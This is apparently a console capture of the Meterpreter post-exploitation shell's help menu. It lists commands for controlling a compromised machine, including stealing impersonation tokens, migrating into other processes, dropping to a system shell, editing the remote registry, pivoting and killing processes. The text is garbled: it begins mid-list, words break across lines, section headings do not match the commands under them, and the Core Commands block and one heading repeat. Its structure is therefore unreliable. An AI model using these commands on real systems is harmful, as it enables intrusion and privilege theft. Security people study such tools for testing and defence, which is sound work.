localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from
the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such
as OS
Stdapi: User interface Commands
===============================
meterpreter > ?
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background
thread
channel Displays information or control active channel
s
close Closes a channel
detach Detach the meterpreter session (for http/https
)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current
session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the
session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the ses
sion
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establi
sh session
ssl_verify Modify the SSL certificate verification settin
g
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background
thread
channel Displays information or control active channel
s
close Closes a channel
detach Detach the meterpreter session (for http/https
)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current
session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the
session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the ses
sion
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establi
sh session
ssl_verify Modify the SSL certificate verification settin
g
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================